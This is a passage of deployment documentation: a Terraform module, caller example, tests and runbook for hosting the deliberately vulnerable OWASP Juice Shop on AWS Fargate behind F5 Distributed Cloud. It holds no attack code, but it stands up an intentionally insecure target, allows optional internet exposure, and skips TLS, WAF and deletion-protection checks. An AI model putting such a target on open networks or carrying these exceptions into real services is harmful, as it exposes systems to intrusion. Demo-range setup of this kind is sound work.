alb_access_logs_bucket = module.logging.alb_access_logs_bucket
public_exposure = false
allowed_ingress_cidrs = var.approved_origin_cidrs
}
output "origin_url" {
description = "HTTP URL exported by the Juice Shop origin module."
value = module.juice_shop.origin_url
}

Release v1.7.88 predates the AWS module and must not be cited or used as a release containing it. Do not replace the commit with a floating branch or an unproven placeholder release.

The subnet IDs in this example may be unknown until apply. Their list length is plan-known because each element is written explicitly. Preserve that fixed collection cardinality: provide at least two ALB subnet elements that resolve to distinct Availability Zones and at least one private task-subnet element. Do not derive these lists by filtering a collection whose size is unknown during planning.

Before planning, confirm that the caller-managed VPC, subnet routing, KMS key, S3 bucket and ALB log-delivery policy exist. The caller also owns AWS provider authentication, Terraform backend and state, and the decision to use an internal or public ALB. Private Fargate task subnets need controlled egress for the digest-pinned Docker Hub image and AWS Logs, or equivalent endpoints and egress. The module validates subnet VPC membership and distinct ALB Availability Zones, but it does not inspect or validate route tables.

The default internal ALB requires implemented private F5 Distributed Cloud origin connectivity into the VPC, such as a Customer Edge path with the required routes, or another authorized private connection. VPN or Direct Connect alone does not make the ALB usable by F5 Distributed Cloud unless that private origin path is actually configured end-to-end. If an internal hostname is unreachable, repair the private connectivity instead of making the ALB public.

For an internet-facing ALB, set public_exposure = true, place the ALB in subnets whose route tables send internet-bound traffic to an Internet Gateway, and set allowed_ingress_cidrs to explicit approved source networks. World-open ingress is not recommended.

F5 Distributed Cloud terminates public HTTPS. Its HTTP connection to the ALB is a documented trusted-routing-domain exception, constrained by the ALB ingress CIDRs and task security-group relationship. Do not use this design where that path can be intercepted.

These fences render the canonical module, minimal caller, and test sources staged by the documentation build:

terraform {
required_version = ">= 1.7.0"
required_providers {
aws = {
source = "hashicorp/aws"
version = ">= 6.0, < 7.0"
}
}
}
variable "name" {
description = "DNS-safe prefix used for AWS resource names."
type = string
validation {
condition = length(var.name) >= 2 && length(var.name) <= 32 && can(regex("^[a-z][a-z0-9-]*[a-z0-9]$", var.name))
error_message = "name must be 2-32 characters, start with a lowercase letter, end with a lowercase letter or digit, and contain only lowercase letters, digits, and hyphens."
}
}
variable "vpc_id" {
description = "ID of the caller-managed VPC."
type = string
validation {
condition = can(regex("^vpc-[0-9a-f]+$", var.vpc_id))
error_message = "vpc_id must be an AWS VPC ID."
}
}
variable "alb_subnet_ids" {
description = "At least two caller-managed subnet IDs for ALB placement in the declared VPC and distinct Availability Zones."
type = list(string)
validation {
condition = length(distinct(var.alb_subnet_ids)) >= 2 && alltrue([for id in var.alb_subnet_ids : can(regex("^subnet-[0-9a-f]+$", id))])
error_message = "alb_subnet_ids must contain at least two distinct AWS subnet IDs."
}
}
variable "task_subnet_ids" {
description = "Caller-managed private subnet IDs for Fargate tasks. They must provide NAT/proxy egress for Docker Hub and AWS Logs, or equivalent endpoints and egress."
type = list(string)
validation {
condition = length(var.task_subnet_ids) > 0 && alltrue([for id in var.task_subnet_ids : can(regex("^subnet-[0-9a-f]+$", id))])
error_message = "task_subnet_ids must contain at least one valid AWS subnet ID."
}
}
variable "public_exposure" {
description = "Explicitly create an internet-facing rather than internal ALB. Use only for authorized demo infrastructure."
type = bool
default = false
}
variable "allowed_ingress_cidrs" {
description = "Non-empty set of authorized IPv4 CIDRs allowed to reach HTTP. World-open ingress requires public_exposure=true."
type = set(string)
default = ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]
validation {
condition = length(var.allowed_ingress_cidrs) > 0 && alltrue([for cidr in var.allowed_ingress_cidrs : can(cidrnetmask(cidr)) && !strcontains(cidr, ":")]) && (var.public_exposure || !contains(var.allowed_ingress_cidrs, "0.0.0.0/0"))
error_message = "allowed_ingress_cidrs must contain valid IPv4 CIDRs; 0.0.0.0/0 is allowed only when public_exposure is true."
}
}
variable "container_image" {
description = "OWASP Juice Shop OCI image reference pinned by immutable sha256 digest."
type = string
default = "docker.io/bkimminich/juice-shop@sha256:9e437b456e444ff001d1663e4f6f05c796fe02f1058dd2651d6791a15b43dfeb"
validation {
condition = can(regex("^[^@]+@sha256:[0-9a-f]{64}$", var.container_image))
error_message = "container_image must be an immutable image reference ending in @sha256:<64 lowercase hexadecimal characters>."
}
}
variable "container_port" {
description = "TCP port exposed by the Juice Shop container."
type = number
default = 3000
validation {
condition = var.container_port >= 1024 && var.container_port <= 65535
error_message = "container_port must be between 1024 and 65535."
}
}
variable "desired_count" {
description = "Number of Fargate tasks to run."
type = number
default = 1
validation {
condition = var.desired_count >= 1 && floor(var.desired_count) == var.desired_count
error_message = "desired_count must be a positive integer."
}
}
variable "cpu" {
description = "Fargate task CPU units."
type = number
default = 512
validation {
condition = contains([256, 512, 1024, 2048, 4096, 8192, 16384], var.cpu)
error_message = "cpu must be a supported Fargate CPU value."
}
}
variable "memory" {
description = "Fargate task memory in MiB."
type = number
default = 1024
validation {
condition = (
var.cpu == 256 ? contains([512, 1024, 2048], var.memory) :
var.cpu == 512 ? contains([1024, 2048, 3072, 4096], var.memory) :
var.cpu == 1024 ? var.memory >= 2048 && var.memory <= 8192 && var.memory % 1024 == 0 :
var.cpu == 2048 ? var.memory >= 4096 && var.memory <= 16384 && var.memory % 1024 == 0 :
var.cpu == 4096 ? var.memory >= 8192 && var.memory <= 30720 && var.memory % 1024 == 0 :
var.cpu == 8192 ? var.memory >= 16384 && var.memory <= 61440 && var.memory % 4096 == 0 :
var.cpu == 16384 ? var.memory >= 32768 && var.memory <= 122880 && var.memory % 8192 == 0 : false
)
error_message = "memory must be a valid Fargate memory value for the selected cpu."
}
}
variable "cloudwatch_log_retention_days" {
description = "CloudWatch Logs retention in days. The security baseline requires at least one year."
type = number
default = 365
validation {
condition = var.cloudwatch_log_retention_days >= 365
error_message = "cloudwatch_log_retention_days must be at least 365."
}
}
variable "cloudwatch_logs_kms_key_arn" {
description = "ARN of a caller-managed symmetric KMS key whose policy permits the regional CloudWatch Logs service to use it."
type = string
validation {
condition = can(regex("^arn:(aws|aws-us-gov|aws-cn):kms:[a-z0-9-]+:[0-9]{12}:key/[0-9a-fA-F-]{36}$", var.cloudwatch_logs_kms_key_arn))
error_message = "cloudwatch_logs_kms_key_arn must be a valid KMS key ARN."
}
}
variable "alb_access_logs_bucket" {
description = "Name of a caller-managed S3 bucket configured to accept ALB access logs with the required regional delivery policy."
type = string
validation {
condition = length(var.alb_access_logs_bucket) >= 3 && length(var.alb_access_logs_bucket) <= 63
error_message = "alb_access_logs_bucket must be a valid 3-63 character S3 bucket name."
}
}
variable "alb_access_logs_prefix" {
description = "Optional S3 key prefix for ALB access logs."
type = string
default = "juice-shop"
validation {
condition = !startswith(var.alb_access_logs_prefix, "/") && !endswith(var.alb_access_logs_prefix, "/") && !strcontains(var.alb_access_logs_prefix, "AWSLogs")
error_message = "alb_access_logs_prefix must not start or end with a slash or contain AWSLogs."
}
}
variable "tags" {
description = "Additional tags applied to supported resources."
type = map(string)
default = {}
}
locals {
tags = merge(var.tags, {
Name = var.name
})
}
resource "aws_iam_role" "task_execution" {
name = "${var.name}-execution"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = "sts:AssumeRole"
Principal = { Service = "ecs-tasks.amazonaws.com" }
}]
})
tags = local.tags
}
resource "aws_iam_role_policy" "task_execution" {
name = "${var.name}-logs"
role = aws_iam_role.task_execution.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = ["logs:CreateLogStream", "logs:PutLogEvents"]
Resource = "${aws_cloudwatch_log_group.this.arn}:*"
}]
})
}
resource "aws_cloudwatch_log_group" "this" {
name = "/ecs/${var.name}"
retention_in_days = var.cloudwatch_log_retention_days
kms_key_id = var.cloudwatch_logs_kms_key_arn
tags = local.tags
}
resource "aws_ecs_cluster" "this" {
name = var.name
setting {
name = "containerInsights"
value = "enabled"
}
tags = local.tags
}
resource "aws_security_group" "alb" {
name_prefix = "${var.name}-alb-"
description = "Caller-scoped HTTP ingress to the Juice Shop ALB"
vpc_id = var.vpc_id
tags = local.tags
lifecycle {
create_before_destroy = true
}
}
resource "aws_vpc_security_group_ingress_rule" "alb" {
for_each = var.allowed_ingress_cidrs
security_group_id = aws_security_group.alb.id
description = "HTTP from ${each.value}"
cidr_ipv4 = each.value
from_port = 80
to_port = 80
ip_protocol = "tcp"
}
resource "aws_vpc_security_group_egress_rule" "alb" {
security_group_id = aws_security_group.alb.id
description = "Juice Shop traffic to Fargate tasks"
referenced_security_group_id = aws_security_group.task.id
from_port = var.container_port
to_port = var.container_port
ip_protocol = "tcp"
}
resource "aws_security_group" "task" {
name_prefix = "${var.name}-task-"
description = "Juice Shop tasks reachable only from the ALB"
vpc_id = var.vpc_id
tags = local.tags
lifecycle {
create_before_destroy = true
}
}
resource "aws_vpc_security_group_ingress_rule" "task" {
security_group_id = aws_security_group.task.id
description = "Juice Shop traffic from the ALB"
referenced_security_group_id = aws_security_group.alb.id
from_port = var.container_port
to_port = var.container_port
ip_protocol = "tcp"
}
resource "aws_vpc_security_group_egress_rule" "task" {
security_group_id = aws_security_group.task.id
description = "HTTPS egress for image pulls and AWS service access"
cidr_ipv4 = "0.0.0.0/0"
from_port = 443
to_port = 443
ip_protocol = "tcp"
}
data "aws_subnet" "alb" {
for_each = { for index, id in var.alb_subnet_ids : tostring(index) => id }
id = each.value
}
data "aws_subnet" "task" {
for_each = { for index, id in var.task_subnet_ids : tostring(index) => id }
id = each.value
}
check "task_subnet_placement" {
assert {
condition = alltrue([for subnet in data.aws_subnet.task : subnet.vpc_id == var.vpc_id])
error_message = "task_subnet_ids must all belong to vpc_id."
}
}
check "alb_subnet_placement" {
assert {
condition = alltrue([for subnet in data.aws_subnet.alb : subnet.vpc_id == var.vpc_id]) && length(distinct([for subnet in data.aws_subnet.alb : subnet.availability_zone])) >= 2
error_message = "alb_subnet_ids must all belong to vpc_id and span at least two distinct Availability Zones."
}
}
resource "aws_lb" "this" {
# checkov:skip=CKV_AWS_150:Deletion protection is intentionally disabled so this ephemeral authorized demo origin can be destroyed immediately after use.
# checkov:skip=CKV2_AWS_28:F5 Distributed Cloud CSD and edge security are the enforcement point; an AWS WAF would duplicate controls on this dedicated origin.
# checkov:skip=CKV2_AWS_20:F5 Distributed Cloud owns the HTTPS redirect; this CIDR-scoped origin ALB intentionally forwards HTTP.
name = var.name
internal = !var.public_exposure
load_balancer_type = "application"
security_groups = [aws_security_group.alb.id]
subnets = var.alb_subnet_ids
drop_invalid_header_fields = true
enable_deletion_protection = false
access_logs {
bucket = var.alb_access_logs_bucket
prefix = var.alb_access_logs_prefix
enabled = true
}
tags = local.tags
}
resource "aws_lb_target_group" "this" {
# checkov:skip=CKV_AWS_378:Private Fargate tasks accept Juice Shop's native HTTP only from the ALB security group.
name = var.name
port = var.container_port
protocol = "HTTP"
target_type = "ip"
vpc_id = var.vpc_id
health_check {
enabled = true
path = "/"
matcher = "200-399"
interval = 30
timeout = 10
healthy_threshold = 2
unhealthy_threshold = 5
}
tags = local.tags
}
resource "aws_lb_listener" "http" {
# checkov:skip=CKV_AWS_2:F5 Distributed Cloud terminates public TLS and uses this CIDR-scoped HTTP listener only as the demo origin hop.
# checkov:skip=CKV_AWS_103:F5 Distributed Cloud owns public TLS; this listener is a CIDR-scoped HTTP origin hop.
load_balancer_arn = aws_lb.this.arn
port = 80
protocol = "HTTP"
default_action {
type = "forward"
target_group_arn = aws_lb_target_group.this.arn
}
}
resource "aws_ecs_task_definition" "this" {
family = var.name
requires_compatibilities = ["FARGATE"]
network_mode = "awsvpc"
cpu = tostring(var.cpu)
memory = tostring(var.memory)
execution_role_arn = aws_iam_role.task_execution.arn
container_definitions = jsonencode([{
name = "juice-shop"
image = var.container_image
essential = true
portMappings = [{
containerPort = var.container_port
hostPort = var.container_port
protocol = "tcp"
}]
logConfiguration = {
logDriver = "awslogs"
options = {
awslogs-group = aws_cloudwatch_log_group.this.name
awslogs-region = data.aws_region.current.region
awslogs-stream-prefix = "juice-shop"
}
}
}])
tags = local.tags
}
data "aws_region" "current" {}
resource "aws_ecs_service" "this" {
name = var.name
cluster = aws_ecs_cluster.this.id
task_definition = aws_ecs_task_definition.this.arn
desired_count = var.desired_count
launch_type = "FARGATE"
network_configuration {
subnets = var.task_subnet_ids
security_groups = [aws_security_group.task.id]
assign_public_ip = false
}
deployment_circuit_breaker {
enable = true
rollback = true
}
load_balancer {
target_group_arn = aws_lb_target_group.this.arn
container_name = "juice-shop"
container_port = var.container_port
}
health_check_grace_period_seconds = 120
depends_on = [aws_lb_listener.http]
tags = local.tags
}
output "origin_hostname" {
description = "ALB DNS hostname for the origin."
value = aws_lb.this.dns_name
}
output "origin_url" {
description = "HTTP URL for the origin."
value = "http://${aws_lb.this.dns_name}"
}
output "listener_port" {
description = "HTTP listener port."
value = aws_lb_listener.http.port
}
output "listener_protocol" {
description = "Listener protocol."
value = aws_lb_listener.http.protocol
}
output "ecs_cluster_id" {
description = "ECS cluster identifier."
value = aws_ecs_cluster.this.id
}
output "ecs_service_id" {
description = "ECS service identifier."
value = aws_ecs_service.this.id
}
output "task_definition_arn" {
description = "ECS task definition ARN."
value = aws_ecs_task_definition.this.arn
}
output "load_balancer_arn" {
description = "Application Load Balancer ARN."
value = aws_lb.this.arn
}
output "target_group_arn" {
description = "Target group ARN."
value = aws_lb_target_group.this.arn
}
output "alb_security_group_id" {
description = "Security group protecting the ALB."
value = aws_security_group.alb.id
}
output "task_security_group_id" {
description = "Security group protecting the Fargate tasks."
value = aws_security_group.task.id
}
output "vpc_id" {
description = "Caller-provided VPC ID."
value = var.vpc_id
}
output "alb_subnet_ids" {
description = "Caller-provided ALB subnet IDs."
value = var.alb_subnet_ids
}
output "task_subnet_ids" {
description = "Caller-provided Fargate task subnet IDs."
value = var.task_subnet_ids
}
output "container_image" {
description = "Immutable image reference used by the task definition."
value = var.container_image
}
terraform {
required_version = ">= 1.7.0"
required_providers {
aws = {
source = "hashicorp/aws"
version = ">= 6.0, < 7.0"
}
}
}
provider "aws" {
region = var.aws_region
profile = var.aws_profile
}
module "juice_shop" {
source = "../.."
name = "juice-demo"
vpc_id = "vpc-0123456789abcdef0"
alb_subnet_ids = ["subnet-0123456789abcdef0", "subnet-0123456789abcdef1"]
task_subnet_ids = ["subnet-0123456789abcdef2", "subnet-0123456789abcdef3"]
public_exposure = true
allowed_ingress_cidrs = ["198.51.100.0/24"]
cloudwatch_logs_kms_key_arn = var.cloudwatch_logs_kms_key_arn
alb_access_logs_bucket = var.alb_access_logs_bucket
}
variable "aws_region" {
description = "AWS region containing the caller-managed VPC and subnets."
type = string
default = "us-east-1"
}
variable "aws_profile" {
description = "Optional shared AWS configuration profile. Leave null to use standard ambient AWS authentication."
type = string
default = null
nullable = true
}
variable "cloudwatch_logs_kms_key_arn" {
description = "ARN of the caller-managed KMS key for CloudWatch Logs encryption."
type = string
}
variable "alb_access_logs_bucket" {
description = "Name of the caller-managed S3 bucket for ALB access logs."
type = string
}
mock_provider "aws" {}
variables {
name = "juice-demo"
vpc_id = "vpc-0123456789abcdef0"
alb_subnet_ids = ["subnet-0123456789abcdef0", "subnet-0123456789abcdef1"]
task_subnet_ids = ["subnet-0123456789abcdef2", "subnet-0123456789abcdef3"]
allowed_ingress_cidrs = ["10.0.0.0/8"]
cloudwatch_logs_kms_key_arn = "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012"
alb_access_logs_bucket = "example-alb-logs"
}
override_data {
target = data.aws_subnet.alb["0"]
values = {
vpc_id = "vpc-0123456789abcdef0"
availability_zone = "us-east-1a"
}
}
override_data {
target = data.aws_subnet.alb["1"]
values = {
vpc_id = "vpc-0123456789abcdef0"
availability_zone = "us-east-1b"
}
}
override_data {
target = data.aws_subnet.task["0"]
values = {
vpc_id = "vpc-0123456789abcdef0"
}
}
override_data {
target = data.aws_subnet.task["1"]
values = {
vpc_id = "vpc-0123456789abcdef0"
}
}
run "private_least_privilege_contract" {
command = plan
override_data {
target = data.aws_subnet.alb["0"]
values = {
vpc_id = "vpc-0123456789abcdef0"
availability_zone = "us-east-1a"
}
}
override_data {
target = data.aws_subnet.alb["1"]
values = {
vpc_id = "vpc-0123456789abcdef0"
availability_zone = "us-east-1b"
}
}
override_resource {
target = aws_security_group.alb
values = { id = "sg-0123456789abcdef0" }
override_during = plan
}
override_resource {
target = aws_cloudwatch_log_group.this
values = { arn = "arn:aws:logs:us-east-1:123456789012:log-group:/ecs/juice-demo" }
override_during = plan
}
assert {
condition = aws_lb.this.internal && aws_lb.this.load_balancer_type == "application"
error_message = "The default origin must use an internal Application Load Balancer."
}
assert {
condition = aws_cloudwatch_log_group.this.retention_in_days >= 365 && aws_cloudwatch_log_group.this.kms_key_id == var.cloudwatch_logs_kms_key_arn
error_message = "CloudWatch logs must retain data for at least one year and use the caller-provided KMS key."
}
assert {
condition = contains([for setting in aws_ecs_cluster.this.setting : "${setting.name}:${setting.value}"], "containerInsights:enabled")
error_message = "The ECS cluster must enable Container Insights."
}
assert {
condition = aws_lb.this.drop_invalid_header_fields && aws_lb.this.access_logs[0].enabled && aws_lb.this.access_logs[0].bucket == var.alb_access_logs_bucket
error_message = "The ALB must drop invalid headers and publish access logs to the caller-provided bucket."
}
assert {
condition = aws_lb.this.subnets == toset(var.alb_subnet_ids)
error_message = "The ALB must use only alb_subnet_ids."
}
assert {
condition = aws_ecs_service.this.network_configuration[0].subnets == toset(var.task_subnet_ids) && !aws_ecs_service.this.network_configuration[0].assign_public_ip
error_message = "Fargate tasks must use task_subnet_ids without public IP addresses."
}
assert {
condition = aws_vpc_security_group_ingress_rule.task.referenced_security_group_id == "sg-0123456789abcdef0" && aws_vpc_security_group_ingress_rule.task.from_port == var.container_port && aws_vpc_security_group_ingress_rule.task.to_port == var.container_port
error_message = "Task ingress must allow only the ALB security group on the container port."
}
assert {
condition = alltrue([for rule in values(aws_vpc_security_group_ingress_rule.alb) : rule.from_port != 22 && rule.to_port != 22]) && aws_vpc_security_group_ingress_rule.task.from_port != 22
error_message = "The module must not create SSH ingress."
}
assert {
condition = aws_iam_role_policy.task_execution.policy == jsonencode({ Version = "2012-10-17", Statement = [{ Effect = "Allow", Action = ["logs:CreateLogStream", "logs:PutLogEvents"], Resource = "${aws_cloudwatch_log_group.this.arn}:*" }] })
error_message = "Execution IAM permissions must be limited to writing this module's log streams."
}
assert {
condition = aws_ecs_service.this.deployment_circuit_breaker[0].enable && aws_ecs_service.this.deployment_circuit_breaker[0].rollback
error_message = "ECS deployments must enable the circuit breaker and automatic rollback."
}
}
run "public_exposure_is_explicit" {
command = plan
variables {
public_exposure = true
allowed_ingress_cidrs = ["198.51.100.0/24"]
}
override_data {
target = data.aws_subnet.alb["0"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" }
}
override_data {
target = data.aws_subnet.alb["1"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1b" }
}
assert {
condition = !aws_lb.this.internal
error_message = "public_exposure=true must create an internet-facing ALB."
}
}
run "reject_world_open_private_alb" {
command = plan
variables { allowed_ingress_cidrs = ["0.0.0.0/0"] }
expect_failures = [var.allowed_ingress_cidrs]
}
run "allow_world_open_only_when_public" {
command = plan
variables {
public_exposure = true
allowed_ingress_cidrs = ["0.0.0.0/0"]
}
override_data {
target = data.aws_subnet.alb["0"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" }
}
override_data {
target = data.aws_subnet.alb["1"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1b" }
}
}
run "reject_alb_subnets_in_different_vpc" {
command = plan
override_data {
target = data.aws_subnet.alb["0"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" }
}
override_data {
target = data.aws_subnet.alb["1"]
values = { vpc_id = "vpc-fedcba98765432100", availability_zone = "us-east-1b" }
}
expect_failures = [check.alb_subnet_placement]
}
run "reject_alb_subnets_in_one_az" {
command = plan
override_data {
target = data.aws_subnet.alb["0"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" }
}
override_data {
target = data.aws_subnet.alb["1"]
values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" }
}
expect_failures = [check.alb_subnet_placement]
}
run "reject_task_subnet_in_different_vpc" {
command = plan
override_data {
target = data.aws_subnet.task["1"]
values = { vpc_id = "vpc-fedcba98765432100" }
}
expect_failures = [check.task_subnet_placement]
}
run "reject_unpinned_image" {
command = plan
variables { container_image = "bkimminich/juice-shop:latest" }
expect_failures = [var.container_image]
}
run "reject_single_alb_subnet" {
command = plan
variables { alb_subnet_ids = ["subnet-0123456789abcdef0"] }
expect_failures = [var.alb_subnet_ids]
}
run "reject_empty_task_subnets" {
command = plan
variables { task_subnet_ids = [] }
expect_failures = [var.task_subnet_ids]
}
run "reject_empty_ingress" {
command = plan
variables { allowed_ingress_cidrs = [] }
expect_failures = [var.allowed_ingress_cidrs]
}
run "reject_invalid_name" {
command = plan
variables { name = "Invalid_Name" }
expect_failures = [var.name]
}
run "reject_invalid_fargate_size" {
command = plan
variables {
cpu = 256
memory = 4096
}
expect_failures = [var.memory]
}

Run these commands from the caller’s root configuration, not from the reusable module directory:

Terminal window
terraform init
terraform validate
install -d -m 700 .artifacts
terraform plan -out=.artifacts/tfplan
terraform show .artifacts/tfplan
# Apply only the exact reviewed plan
terraform apply .artifacts/tfplan
terraform output origin_url

Saved plans can contain sensitive state-derived values. Keep .artifacts/ private, ignored, and out of logs or plan-JSON exports; remove saved plans when no longer needed.

After apply:

  1. Confirm the ECS service reaches steady state and its desired and running task counts match.
  2. Confirm the target group reports healthy targets.
  3. Confirm the CloudWatch log group receives container logs and ALB access logs arrive in S3.
  4. Test origin_url from a network permitted by the selected exposure mode and confirm an unapproved source cannot reach it.
  5. Run terraform plan again; a stable deployment should report no changes.

If tasks cannot start, inspect ECS service events and CloudWatch logs, then verify private-subnet DNS and egress to Docker Hub and AWS Logs. If targets remain unhealthy, confirm the container port and that task ingress comes only from the ALB security group. If an internal hostname is unreachable, repair the connected route instead of making the ALB public. For a failed image change, retain the previous digest and rely on the ECS deployment circuit breaker rollback, then plan the corrected immutable digest.

AWS cost drivers include ALB hours/capacity, Fargate compute, Container Insights, CloudWatch Logs storage and KMS requests, S3 access-log storage, data transfer, and caller-managed NAT or endpoints. For teardown, create and review a saved destroy plan before applying it. Module destruction leaves caller-owned VPC, subnets, routes, NAT/proxy/endpoints, KMS key, S3 bucket and policy, provider configuration, backend, and state intact.

For the Azure full-origin, downstream components use the Azure outputs:

Terminal window
# CDN Simulator — pass origin-server's public IP as its upstream
cd ../cdn-simulator/terraform
origin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)
cat > terraform.tfvars <<EOF
subscription_id = "your-subscription-id"
origin_server = "http://${origin_ip}"
origin_host = "${origin_ip}:80"
EOF
# Traffic Generator — pass the F5 XC load balancer FQDN, not the origin IP directly
cd ../traffic-generator/terraform
cat > terraform.tfvars <<EOF
subscription_id = "your-subscription-id"
target_fqdn = "your-xc-load-balancer.example.com"
EOF
Azure outputDownstream componentInput variable
public_ipCDN Simulatororigin_server (with http:// prefix)
public_ipCDN Simulatororigin_host (with :80 suffix, no scheme)
public_ipF5 XC Origin PoolOrigin server address

For AWS Juice Shop, use origin_hostname as the origin address and listener_port as the port. An internal ALB requires F5 Distributed Cloud to have an authorized routed path into the VPC.

Proceed to Applications for usage guides or Verify for smoke tests.